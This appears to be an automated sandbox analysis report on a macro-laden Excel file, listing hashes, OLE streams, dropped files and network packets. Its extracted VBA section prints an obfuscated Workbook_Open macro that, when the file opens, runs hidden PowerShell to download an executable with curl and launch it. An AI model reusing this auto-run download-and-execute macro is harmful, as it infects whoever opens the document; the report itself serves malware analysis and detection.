                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3ddmww0.tay.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uerlcmq0.1xn.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vhvitdbe.gcf.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x2mjycc0.jm3.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x2nt1jlp.e0w.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xqa044rl.3jn.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y5yumrpq.s2d.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  Static File Info

                                                                                                                                                  General

                                                                                                                                                  File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: user-u, Last Saved By: user-t, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Jan 8 17:02:42 2022, Last Saved Time/Date: Sat Nov 26 17:01:47 2022, Security: 0
                                                                                                                                                  Entropy (8bit):4.783836383736489
                                                                                                                                                  TrID:
                                                                                                                                                  • Microsoft Excel sheet (30009/1) 47.99%
                                                                                                                                                  • Microsoft Excel sheet (alternate) (24509/1) 39.20%
                                                                                                                                                  • Generic OLE2 / Multistream Compound File (8008/1) 12.81%
                                                                                                                                                  File name:827837hj.xls
                                                                                                                                                  File size:27136
                                                                                                                                                  MD5:a3a7be7f733771ff24d6286ea49db98c
                                                                                                                                                  SHA1:9017cdc08851f162ae8ca54cfde0841526f4ebbf
                                                                                                                                                  SHA256:348d37d813ca44c373ddd848e39f0ec422982b57e23b502f5ed10a5c86829485
                                                                                                                                                  SHA512:3429d9049631bf85cb26394881511cda0af68d2cb6dbf6dbf867b10e46bbf2dc3fbd7769afb9727b8c82cdb3c8c586c84d3b24c4a15cc50a409b1bf70e6f04be
                                                                                                                                                  SSDEEP:768:c4k3hOdsylKlgryzc4bNhZFGzE+cL2knAJ1OiCkOGBeS:7k3hOdsylKlgryzc4bNhZFGzE+cL2kn9
                                                                                                                                                  TLSH:E0C22EA6B2D6DC05DE4507794CE782E66627FC516FA3938B3389F71E0B71AC0890361B
                                                                                                                                                  File Content Preview:........................>..................................."..................................................................................................................................................................................................

                                                                                                                                                  File Icon

                                                                                                                                                  Icon Hash:74ecd4c6c3c6c4d8

                                                                                                                                                  Static OLE Info

                                                                                                                                                  General

                                                                                                                                                  Document Type:OLE
                                                                                                                                                  Number of OLE Files:1

                                                                                                                                                  OLE File "827837hj.xls"

                                                                                                                                                  Indicators
                                                                                                                                                  Has Summary Info:
                                                                                                                                                  Application Name:Microsoft Excel
                                                                                                                                                  Encrypted Document:False
                                                                                                                                                  Contains Word Document Stream:False
                                                                                                                                                  Contains Workbook/Book Stream:True
                                                                                                                                                  Contains PowerPoint Document Stream:False
                                                                                                                                                  Contains Visio Document Stream:False
                                                                                                                                                  Contains ObjectPool Stream:False
                                                                                                                                                  Flash Objects Count:0
                                                                                                                                                  Contains VBA Macros:True
                                                                                                                                                  Summary
                                                                                                                                                  Code Page:1252
                                                                                                                                                  Author:
                                                                                                                                                  Last Saved By:
                                                                                                                                                  Create Time:2022-01-08 17:02:42
                                                                                                                                                  Last Saved Time:2022-11-26 17:01:47
                                                                                                                                                  Creating Application:
                                                                                                                                                  Security:0
                                                                                                                                                  Document Summary
                                                                                                                                                  Document Code Page:1252
                                                                                                                                                  Thumbnail Scaling Desired:False
                                                                                                                                                  Company:
                                                                                                                                                  Contains Dirty Links:False
                                                                                                                                                  Shared Document:False
                                                                                                                                                  Changed Hyperlinks:False
                                                                                                                                                  Application Version:983040

                                                                                                                                                  Streams with VBA

                                                                                                                                                  VBA File Name: Sheet1.cls, Stream Size: 991
                                                                                                                                                  General
                                                                                                                                                  Stream Path:_VBA_PROJECT_CUR/VBA/Sheet1
                                                                                                                                                  VBA File Name:Sheet1.cls
                                                                                                                                                  Stream Size:991
                                                                                                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . J { w . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
                                                                                                                                                  Data Raw:01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 4a 7b 77 91 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                  VBA Code
                                                                                                                                                  Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                                                                                                                                  VBA File Name: ThisWorkbook.cls, Stream Size: 2182
                                                                                                                                                  General
                                                                                                                                                  Stream Path:_VBA_PROJECT_CUR/VBA/ThisWorkbook
                                                                                                                                                  VBA File Name:ThisWorkbook.cls
                                                                                                                                                  Stream Size:2182
                                                                                                                                                  Data ASCII:. . . . . . . . * . . . . . . . . . . 1 . . . . . . . . . . . . . . . J { l . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9
                                                                                                                                                  Data Raw:01 16 03 00 00 f0 00 00 00 2a 03 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff 31 03 00 00 0d 06 00 00 00 00 00 00 01 00 00 00 4a 7b 6c b6 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                  VBA Code
                                                                                                                                                  Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
tradedesign = "pushresponse"
h7asda = "naakslook8i"
interestregion = Replace(":7pushresponseC" & tradedesign & "4D", "pushresponse", "2")
Set understandremember = GetObject("new" & interestregion & "D5-D70A-438B-8A42-984" & CLng("1.8") & "4B88AFB" & CInt("8.1"))
tradedesign = "C:\Users\Pub"
humantonight = tradedesign & "lic\pin77.exe"
go8d7sa6 = Replace("cmd /c pow^tradedesignrs^htradedesignll/W 01 c^u^rl htt^ps://thtradedesign.tradedesignarth.li/~sgtatham/putty/lattradedesignst/w32/putty.tradedesign^xtradedesign -o " & humantonight & ";" & humantonight, "tradedesign", "e")
understandremember.exec go8d7sa6
End Sub

                                                                                                                                                  Streams

                                                                                                                                                  Stream Path: \x1CompObj, File Type: data, Stream Size: 107
                                                                                                                                                  General
                                                                                                                                                  Stream Path:\x1CompObj
                                                                                                                                                  File Type:data
                                                                                                                                                  Stream Size:107
                                                                                                                                                  Entropy:4.184829500435969
                                                                                                                                                  Base64 Encoded:True
                                                                                                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . F . . . . M i c r o s o f t E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
                                                                                                                                                  Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 1f 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                  Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244
                                                                                                                                                  General
                                                                                                                                                  Stream Path:\x5DocumentSummaryInformation
                                                                                                                                                  File Type:data
                                                                                                                                                  Stream Size:244
                                                                                                                                                  Entropy:2.6796401275610178
                                                                                                                                                  Base64 Encoded:False
                                                                                                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 2 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . . . .
                                                                                                                                                  Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 9f 00 00 00
                                                                                                                                                  Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 208
                                                                                                                                                  General
                                                                                                                                                  Stream Path:\x5SummaryInformation
                                                                                                                                                  File Type:data
                                                                                                                                                  Stream Size:208
                                                                                                                                                  Entropy:3.5121006031096327
                                                                                                                                                  Base64 Encoded:False
                                                                                                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . u s e r - u . . . . . . . . . . u s e r - t . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . z . . @ . . . . . . . . . . . . . . .
                                                                                                                                                  Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 08 00 00 00
                                                                                                                                                  Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 15369
                                                                                                                                                  General
                                                                                                                                                  Stream Path:Workbook
                                                                                                                                                  File Type:Applesoft BASIC program data, first line number 16
                                                                                                                                                  Stream Size:15369
                                                                                                                                                  Entropy:5.233170123244297
                                                                                                                                                  Base64 Encoded:True
                                                                                                                                                  Data ASCII:. . . . . . . . T 8 . . . . . . . . . . . . . . . . . . . \\ . p . . . . u s e r - t B . . . . a . . . . . . . . = . . . . . . . . . . . . . . T h i s W o r k b o o k . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . P K . 8 . . . . . . . X . @ . . . . . . . . . . " . . .
                                                                                                                                                  Data Raw:09 08 10 00 00 06 05 00 54 38 cd 07 c9 c0 01 00 06 07 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 06 00 00 75 73 65 72 2d 74 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                  Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 418
                                                                                                                                                  General
                                                                                                                                                  Stream Path:_VBA_PROJECT_CUR/PROJECT
                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                  Stream Size:418
                                                                                                                                                  Entropy:5.301945242354764
                                                                                                                                                  Base64 Encoded:True
                                                                                                                                                  Data ASCII:I D = " { E 9 C 4 C 8 5 4 - 5 4 3 3 - 4 6 C 0 - 9 A 3 4 - A 4 7 B A 0 3 0 8 3 3 E } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " D 4 D 6 6 3 5 9 E 3 2 9 E 7 2 9 E 7 2 9 E 7 2 9 E 7 " . . D P B = " A 8 A A 1 F 6 0 2 0 6 0 2 0 6 0 " . . G C = " 7 C 7 E C B E 1 4 B B 4 4 C B 4
                                                                                                                                                  Data Raw:49 44 3d 22 7b 45 39 43 34 43 38 35 34 2d 35 34 33 33 2d 34 36 43 30 2d 39 41 33 34 2d 41 34 37 42 41 30 33 30 38 33 33 45 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4e 61 6d 65 3d 22 56 42 41 50 72 6f 6a 65 63 74 22 0d 0a 48 65
                                                                                                                                                  Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 62
                                                                                                                                                  General
                                                                                                                                                  Stream Path:_VBA_PROJECT_CUR/PROJECTwm
                                                                                                                                                  File Type:data
                                                                                                                                                  Stream Size:62
                                                                                                                                                  Entropy:3.0554671543224337
                                                                                                                                                  Base64 Encoded:False
                                                                                                                                                  Data ASCII:T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . . .
                                                                                                                                                  Data Raw:54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 00 00
                                                                                                                                                  Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2514
                                                                                                                                                  General
                                                                                                                                                  Stream Path:_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
                                                                                                                                                  File Type:data
                                                                                                                                                  Stream Size:2514
                                                                                                                                                  Entropy:4.116405719590362
                                                                                                                                                  Base64 Encoded:False
                                                                                                                                                  Data ASCII:a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 1 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o
                                                                                                                                                  Data Raw:cc 61 a6 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fe 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00
                                                                                                                                                  Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 515
                                                                                                                                                  General
                                                                                                                                                  Stream Path:_VBA_PROJECT_CUR/VBA/dir
                                                                                                                                                  File Type:data
                                                                                                                                                  Stream Size:515
                                                                                                                                                  Entropy:6.284610049457919
                                                                                                                                                  Base64 Encoded:True
                                                                                                                                                  Data ASCII:. . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . { e . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s t e m 3 2 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E .
                                                                                                                                                  Data Raw:01 ff b1 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 7b ad 82 65 04 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

                                                                                                                                                  Network Behavior

                                                                                                                                                  Network Port Distribution

                                                                                                                                                  TCP Packets

                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                  Dec 4, 2022 12:05:56.958373070 CET49700443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:56.958417892 CET4434970093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:56.958493948 CET49700443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:56.984857082 CET49700443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:56.984924078 CET4434970093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.080792904 CET4434970093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.081005096 CET49700443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.088515043 CET49700443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.088555098 CET4434970093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.089153051 CET4434970093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.133106947 CET49700443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.133150101 CET4434970093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.167442083 CET4434970093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.167545080 CET4434970093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.167674065 CET49700443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.171144009 CET49700443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.174556017 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.174628973 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.174757957 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.175152063 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.175182104 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.279593945 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.284322023 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.284358978 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.346359015 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.346410036 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.346563101 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.346596956 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.346625090 CET49701443192.168.2.393.93.131.124
